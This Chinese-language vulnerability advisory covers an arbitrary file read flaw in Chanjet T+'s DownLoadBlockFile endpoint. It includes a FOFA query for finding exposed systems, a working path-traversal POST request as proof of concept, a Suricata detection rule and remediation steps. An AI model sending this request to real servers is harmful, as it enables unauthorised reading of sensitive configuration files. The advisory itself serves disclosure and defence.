i畅捷通T+ DownLoadBlockFile 存在任意文件读取漏洞¶

畅捷通T+ DownLoadBlockFile 存在任意文件读取漏洞，攻击者可进行文件读取，获取重要敏感配置信息。

影响版本¶

i畅捷通T+

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="畅捷通-TPlus"

POC/EXP：

POST /tplus/GLSyncService.asmx/DownLoadBlockFile HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/865.3 Safari/537.36

fileName=..%2F..%2F..%2FWindows%2Fwin.ini

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"畅捷通T+ - Arbitrary File Read via DownLoadBlockFile";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/tplus/GLSyncService.asmx/DownLoadBlockFile";
    http.header; content:"Content-Type: application/x-www-form-urlencoded";
    http.request_body; pcre:"/fileName=\\.\\.%2F\\.\\.%2F\\.\\.%2FWindows%2Fwin\\.ini/i";
    metadata:
        service http,
        affected_product "畅捷通T+系统",
        vulnerability_type "Arbitrary File Read",
        severity "high";
    classtype:web-application-attack;
    sid:1000637;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。